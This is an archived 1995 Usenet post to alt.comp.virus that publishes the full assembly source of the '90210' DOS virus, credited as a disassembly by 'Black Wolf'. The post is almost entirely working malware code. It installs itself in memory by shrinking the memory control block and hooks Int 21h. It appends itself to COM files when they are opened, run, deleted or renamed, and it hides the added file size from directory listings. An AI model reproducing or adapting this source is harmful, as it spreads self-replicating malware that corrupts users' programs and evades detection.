home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / 90210.ASM / text0000.txt < prev   
Encoding:
Internet Message Format  |  1995-10-29  |  8.7 KB

  1. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.alpha.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
  2. From: danishm@iia.org ()
  3. Newsgroups: alt.comp.virus
  4. Subject: 90210
  5. Date: 5 Feb 1995 21:55:07 GMT
  6. Organization: International Internet Association.
  7. Lines: 345
  8. Message-ID: <3h3hfr$sb@ankh.iia.org>
  9. NNTP-Posting-Host: iia.org
  10. X-Newsreader: TIN [version 1.2 PL2]
  11.  
  12. Here is the 90210 virus:
  13.  
  14. ;90210 Virus from the TridenT virus research group.
  15.  
  16. ;This is a semi-stealth virus that hides file-size changes while
  17. ;it is in memory.  It marks the files w/the timestamp.  It will
  18. ;infect COM files on open, execute, delete, and rename.  It checks
  19. ;if it is in memory by calling Int 21h with DEADh in AX and uses MCB's
  20. ;to go memory resident.
  21.  
  22. ;Disassembly by Black Wolf
  23.  
  24. .model tiny  
  25. .code
  26.  
  27.         org     100h
  28.   
  29. start:
  30.         push    ax
  31.         call    GetOffset
  32.  
  33. GetOffset:
  34.         pop     bp
  35.         sub     bp,offset GetOffset-start
  36.  
  37.         mov     ax,0DEADh
  38.         int     21h                     ;Are we installed?
  39.         cmp     ax,0AAAAh 
  40.         je      DoneInstall
  41.  
  42.         mov     ax,3521h
  43.         int     21h                     ;Get int 21 address
  44.                
  45.     db      2eh, 89h,9eh,77h,0h     ;mov cs:[OldInt21-start+bp],bx
  46.     db      2eh, 8ch, 86h, 79h, 0   ;mov word ptr cs:[OldInt21-start+2+bp],es
  47.  
  48.         mov     ax,cs
  49.         dec     ax
  50.         mov     ds,ax
  51.         cmp     byte ptr ds:[0],'Z'
  52.         jne     DoneInstall         ;Are we the last block in chain?
  53.         
  54.         mov     ax,ds:[3]               ;Get MCB size
  55.         sub     ax,38h                  ;subtract virus memory size
  56.         jc      DoneInstall             ;exit if virus > MCB
  57.  
  58.         mov     ds:[3],ax               ;Set MCB size
  59.         ;sub     word ptr ds:[12h],38h  ;Subtract virus mem from 
  60.         db      81h,2eh,12h,0,38h,0     ;top of memory in PSP
  61.         
  62.         mov     si,bp
  63.         mov     di,0
  64.         mov     es,ds:[12h]             ;Get top of memory from PSP
  65.         push    cs
  66.         pop     ds
  67.         mov     cx,287h
  68.         cld          
  69.         rep     movsb                   ;Copy virus into memory
  70.         
  71.         mov     ax,2521h        
  72.         push    es
  73.         pop     ds
  74.         mov     dx,offset Int21Handler-start
  75.         int     21h                     ;Set int 21h
  76.                
  77. DoneInstall:
  78.         mov     di,100h
  79.         lea     si,[bp+Storage_Bytes-start]
  80.         push    cs
  81.         push    cs
  82.         pop     ds
  83.         pop     es
  84.         cld 
  85.         movsw
  86.         movsb                           ;Restore Host file.
  87.         mov     bx,offset start
  88.         pop     ax
  89.         push    bx
  90.         retn                            ;Return to Host
  91.  
  92.   
  93. VirusName       db      '[90210 BH]'
  94.         
  95. OldInt21:                
  96.         dw      0                
  97.         dw      0
  98.         
  99. Int21Handler:
  100.         cmp     ax,0DEADh               ;Install Check?
  101.         jne     NotInstall   
  102.         mov     ax,0AAAAh
  103.         iret 
  104. NotInstall:
  105.  
  106.         cmp     ah,11h                  ;FCB find first
  107.         je      FCBSearch
  108.         cmp     ah,12h                  ;FCB find next
  109.         je      FCBSearch
  110.         cmp     ah,4Eh                  ;handle find first
  111.         je      HandleSearch
  112.         cmp     ah,4Fh                  ;handle find next
  113.         je      HandleSearch
  114.         
  115.         push    ax bx cx dx si di bp ds es
  116.  
  117.         cmp     ah,3Dh                  ;handle file open
  118.         je      SetupNameCheck
  119.         cmp     ax,4B00h                ;file execute
  120.         je      SetupNameCheck
  121.         cmp     ah,41h                  ;handle file delete
  122.         je      SetupNameCheck
  123.         cmp     ah,43h                  ;get/set attributes
  124.         je      SetupNameCheck
  125.         cmp     ah,56h                  ;rename file
  126.         je      SetupNameCheck
  127.         
  128.         cmp     ah,0Fh                  ;Open file w/FCB
  129.         je      TryToInfect
  130.         cmp     ah,23h
  131.         je      TryToInfect             ;Get file size
  132.         jmp     ExitInfect
  133.         
  134. FCBSearch:
  135.         jmp     FCBStealth
  136. HandleSearch:
  137.         jmp     HandleStealth
  138.  
  139. TryToInfect:
  140.         db      89h,0d6h         ;mov     si,dx
  141.  
  142.         inc     si
  143.         push    cs
  144.         pop     es
  145.         mov     di,offset ds:[Filename-start]     ;Copy filename
  146.         mov     cx,8
  147.         rep     movsb
  148.         mov     cx,3
  149.         inc     di
  150.         rep     movsb
  151.  
  152.         mov     dx,Filename-start
  153.         push    cs
  154.         pop     ds
  155.  
  156. SetupNameCheck:
  157.         db      89h, 0d6h        ;mov     si,dx
  158.         mov     cx,100h
  159.         cld 
  160.   
  161. Find_Extension:
  162.         lodsb
  163.         cmp     al,'.'                  ;Find '.'
  164.         je      CheckFilename
  165.         loop    Find_Extension
  166.         db      0e9h, 13h, 0             ;jmp     FilenameBad
  167. CheckFilename:
  168.         lodsw 
  169.         or      ax,2020h                ;Set to lowercase
  170.         cmp     ax,6F63h                ;Is it a com file?
  171.         jne     FilenameBad
  172.         lodsb        
  173.         or      al,20h
  174.         cmp     al,6Dh
  175.         jne     FilenameBad
  176.         db      0e9h, 3, 0              ;jmp     InfectFile 
  177.  
  178. FilenameBad:
  179.         jmp     ExitInfect 
  180.  
  181. InfectFile:
  182.         push    dx
  183.         push    ds
  184.         mov     ax,4300h
  185.         pushf         
  186.         call    dword ptr cs:[OldInt21-start]      ;Get Attributes
  187.         mov     word ptr cs:[FileAttribs-start],cx ;Save them
  188.         
  189.         mov     ax,4301h
  190.         xor     cx,cx
  191.         pushf           
  192.         call    dword ptr cs:[OldInt21-start]     ;Reset Attribs to 0
  193.         
  194.         mov     ax,3D02h
  195.         pushf
  196.         call    dword ptr cs:[OldInt21-start]     ;Open file
  197.         jnc     OpenGood
  198.         jmp     FileClosed
  199.  
  200. OpenGood:
  201.         xchg    ax,bx
  202.         mov     ax,5700h
  203.         pushf              
  204.         call    dword ptr cs:[OldInt21-start]      ;Get file time/date
  205.         mov     word ptr cs:[FileTime-start],cx  ;save time
  206.         mov     word ptr cs:[FileDate-start],dx  ;save date
  207.  
  208.         and     cx,1Fh
  209.         cmp     cx,1Fh
  210.         jne     NotInfected                    ;Check infection
  211.         db      0e9h, 76h, 0                   ;jmp     Close_File
  212. NotInfected:
  213.         mov     ah,3Fh                  
  214.         push    cs
  215.         pop     ds
  216.         mov     dx,Storage_Bytes-start
  217.         mov     cx,3
  218.         pushf                          
  219.         call    dword ptr cs:[OldInt21-start] ;Read in first 3 bytes
  220.  
  221.         cmp     word ptr cs:[Storage_Bytes-start],5A4Dh    
  222.         je      DoneWithFile        ;Is it an .EXE file?
  223.  
  224.         cmp     word ptr cs:[Storage_Bytes-start],4D5Ah
  225.         je      DoneWithFile        ;Alternate EXE sig?
  226.  
  227.         mov     ax,4202h
  228.         xor     cx,cx
  229.         xor     dx,dx
  230.         pushf        
  231.         call    dword ptr cs:[OldInt21-start] ;Go end of file.
  232.         
  233.         sub     ax,3                        ;Save jump size
  234.         mov     word ptr cs:[Jump_Bytes-start+1],ax
  235.         
  236.         mov     ah,40h                  
  237.         push    cs
  238.         pop     ds
  239.         mov     dx,0
  240.         mov     cx,287h
  241.         pushf          
  242.         call    dword ptr cs:[OldInt21-start] ;Append virus to file
  243.         
  244.         mov     ax,4200h
  245.         xor     cx,cx
  246.         xor     dx,dx
  247.         int     21h                          ;go back to beginning
  248.                
  249.         mov     ah,40h                  
  250.         mov     dx,Jump_Bytes-Start
  251.         mov     cx,3
  252.         pushf        
  253.         call    dword ptr cs:[OldInt21-start]      ;Write in jump
  254.         or      word ptr cs:[FileTime-start],1Fh ;Mark as infected
  255.  
  256. DoneWithFile:
  257.         mov     ax,5701h
  258.         mov     cx,word ptr cs:[FileTime-start]   
  259.         mov     dx,word ptr cs:[FileDate-start]   
  260.         pushf                               
  261.         call    dword ptr cs:[OldInt21-start] ;Restore File Date/Time
  262.  
  263. Close_File:
  264.         mov     ah,3Eh
  265.         pushf          
  266.         call    dword ptr cs:[OldInt21-start] ;Close file
  267.         
  268.         pop     ds
  269.         pop     dx                          ;Pop filename address
  270.         push    dx
  271.         push    ds
  272.         mov     ax,4301h
  273.         mov     cx,ds:[FileAttribs-start]
  274.         pushf             
  275.         call    dword ptr cs:[OldInt21-start]    ;Restore attributes
  276.  
  277. FileClosed:
  278.         pop     ds
  279.         pop     dx
  280.  
  281. ExitInfect:
  282.         pop     es ds bp di si dx cx bx ax
  283.         jmp     dword ptr cs:[OldInt21-start]  ;Jump back into Int 21h
  284.   
  285. GetDTA:
  286.         pop     si
  287.         pushf
  288.         push    ax bx es
  289.         mov     ah,2Fh
  290.         call    CallInt21
  291.         jmp     si
  292.  
  293. FCBStealth:
  294.         call    CallInt21
  295.         cmp     al,0                    ;Did call work?
  296.         jne     NoStealth
  297.         call    GetDTA
  298.         cmp     byte ptr es:[bx],0FFh   ;Extended FCB?
  299.         jne     AfterFCBAdjust
  300.         add     bx,8
  301.  
  302. AfterFCBAdjust:
  303.         mov     al,es:[bx+16h]          ;Get time stamp
  304.         and     al,1Fh
  305.         cmp     al,1Fh                  ;infected?
  306.         jne     DoneFCBStealth
  307.  
  308.         sub     word ptr es:[bx+1Ch],287h ;Subtract virus size
  309.         sbb     word ptr es:[bx+1Eh],0    ;adjust for carry
  310.         jmp     short ResetTime
  311.  
  312. HandleStealth:
  313.         call    CallInt21
  314.         jc      NoStealth 
  315.         call    GetDTA      
  316.         mov     al,es:[bx+16h]              ;Get file time
  317.         and     al,1Fh
  318.         cmp     al,1Fh
  319.         jne     DoneFCBStealth
  320.         sub     word ptr es:[bx+1Ah],287h   ;Subtract virus size
  321.         sbb     word ptr es:[bx+1Ch],0      ;adjust for carry
  322.  
  323. ResetTime:
  324.         xor     byte ptr es:[bx+16h],10h    ;Restore time to norm.
  325.  
  326. DoneFCBStealth:
  327.         pop     es bx ax
  328.         popf
  329.   
  330. NoStealth:
  331.         retf    2 
  332.  
  333. CallInt21:
  334.         pushf
  335.         call    dword ptr cs:[OldInt21-start]
  336.         retn
  337.  
  338. Storage_Bytes:                
  339.         nop
  340.         int     21h
  341.         
  342. Filename        db      8 dup (0)
  343.         db      '.'
  344. Extension       db      3 dup (0)
  345.         db      0
  346.  
  347. FileAttribs     dw      0
  348. FileTime        dw      0
  349. FileDate        dw      0
  350.  
  351. Jump_Bytes      db      0E9h, 00h, 00h
  352.  
  353. AuthorName      db      ' John Tardy / TridenT '
  354.  
  355. end     start
  356.  
  357.  
  358. --
  359. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  360. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  361. Student at the Northeatstern University College of Computer Science 
  362. "I Can't Believe It's Not Butter"
  363.  
  364.